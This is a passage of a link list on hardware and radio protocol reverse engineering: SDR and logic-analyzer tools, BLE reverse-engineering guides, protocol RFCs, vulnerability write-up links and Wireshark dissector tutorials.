https://sigrok.org/wiki/PulseView\n- https://1bitsquared.com/products/tigard\n- https://1bitsquared.com/products/bitmagic-basic\n- https://github.com/pyserial/pyserial\n- https://github.com/netspooky/dissectors/blob/main/acble.lua\n- https://www.sigidwiki.com/wiki/Signal_Identification_Guide\n- RTL-SDR Dongle https://www.rtl-sdr.com/\n- gqrx SDR software https://gqrx.dk/\n- https://www.gnuradio.org/\n- POCSAG Decoding https://www.bastibl.net/pocsag/\n- Bluetooth Protocol RE https://github.com/Freeyourgadget/Gadgetbridge/wiki/BT-Protocol-Reverse-Engineering\n- Reverse Engineering BLE Devices https://reverse-engineering-ble-devices.readthedocs.io/en/latest/\n- Branch Education - How Does Bluetooth Work? https://www.youtube.com/watch?v=1I1vxu5qIUM\n- FreqyXin - The Basics of Breaking BLE https://www.youtube.com/watch?v=X2ARyfjzxhY\n- FreqyXin - The Basics of Breaking BLE Pt. 2 https://www.youtube.com/watch?v=IVwqMDQ6Ydo\n- notpike/The-Fonz - TouchTunes Jukebox Sniffer/Client https://github.com/notpike/The-Fonz\n\n### Specifications\n\n- HTTP 1.0 RFC https://datatracker.ietf.org/doc/html/rfc1945\n- 2 byte remote DOS in telnetd https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html\n- Telnet RFC 854 https://www.rfc-editor.org/rfc/rfc854.html\n- CHIP-8 Bug https://www.da.vidbuchanan.co.uk/blog/bggp3.html\n- Endianness Bug https://tmpout.sh/2/3.html\n\n## Documenting Your Findings\n\n- Creating A Wireshark Dissector In Lua https://mika-s.github.io/wireshark/lua/dissector/2017/11/04/creating-a-wireshark-dissector-in-lua-1.html\n- List of Lua dissectors https://wiki.wireshark.org/Contrib\n- Wireshark Lua Docs https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_Proto.html\n- Writing a Wireshark dissector to parse data embedded in ICMP headers https://medium.com/@kevin.massey1189/writing-a-wireshark-dissector-to-parse-data-embedded-in-icmp-headers-1f039cd4072d\n- https://kaitai.io/\n- https://github.com/netspooky/xx\n- https://github.com/Synide/010-Editor-Templates\n"
  }
]